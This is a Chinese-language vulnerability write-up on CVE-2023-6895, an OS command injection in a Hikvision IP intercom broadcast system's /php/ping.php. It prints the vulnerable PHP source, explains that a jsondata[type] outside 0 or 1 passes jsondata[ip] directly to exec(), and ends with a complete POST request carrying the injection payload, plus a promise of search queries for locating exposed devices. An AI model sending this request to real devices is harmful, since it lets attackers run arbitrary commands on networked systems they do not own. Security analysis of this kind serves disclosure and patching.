本人非原创漏洞作者,文章仅作为知识分享用
一切直接或间接由于本文所造成的后果与本人无关
如有侵权,联系删除
产品简介
杭州海康威视数字技术有限公司IP网络对讲广播系统。
开发语言:PHP
开发厂商:杭州海康威视数字技术有限公司
空间测绘
回复“CVE-2023-6895”获取空间测绘语句
漏洞描述
海康威视对讲广播系统3.0.3_20201113_RELEASE(HIK)存在漏洞。它已被宣布为关键。该漏洞影响文件/php/ping.php 的未知代码。使用输入 netstat -ano 操作参数 jsondata[ip] 会导致 os 命令注入。
影响版本
v3.0.3_20201113_RELEASE(HIK)
源码分析
ping.php源代码如下:
<?php
// /**
// *@param $ip target ip
// *@param $times ping times
// */
header("Content-type: text/html; charset=GB2312");
$postData = $_POST['jsondata'];
if(isset($postData['ip']) && isset($postData['type'])){
$type = $postData['type'];//类型
$ip = $postData['ip'];//IP地址
$arr = systemopr($type, $ip);
$len = count($arr);
for($i = 0; $i < $len; $i++){
if(isset($arr[$i])){
$arr[$i] = iconv('GB2312', 'UTF-8', $arr[$i]);//gb2312转换为utf-8
}
}
$after = json_encode($arr);//转换成json
echo $after;
}
function systemopr($type, $ip, $times=4){
$info = array();
if (PATH_SEPARATOR==':' || DIRECTORY_SEPARATOR=='/'){
//linux
if($type == "0"){
exec("ping -c $times $ip", $info);
}else if($type == "1"){
exec("traceroute -m $times -w 1 $ip", $info);
}else{
exec($ip, $info);
}
}else{
//windows
if($type == "0"){
exec("ping $ip -n $times", $info);
}else if($type == "1"){
exec("tracert -h $times -w 1000 $ip", $info);
}else{
exec($ip, $info);
}
}
return $info;
}
?>
问题在systemopr(),当jsondata[type]和jsondata[ip]存在值时,进入systemopr(),jsondata[ip]直接被代入命令执行exec()中,但是当jsondata[type]不为“0”或“1”时,不用考虑闭合参数,jsondata[ip]被直接当作命令执行。所以我们可以设置“jsondata[type]=3&jsondata[ip]=要执行的命令”即可。
演示如下:
漏洞利用
POST /php/ping.php HTTP/1.1
Host: xxx.xxx.xxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 45
Origin: http://xxx.xxx.xxx
Connection: close
Referer: http://xxx.xxx.xxx/html/system.html
X-Forwarded-For: 127.0.0.1
jsondata[type]=3&jsondata[ip]=ipconfig
回复“CVE-2023-6895”获取空间测绘语句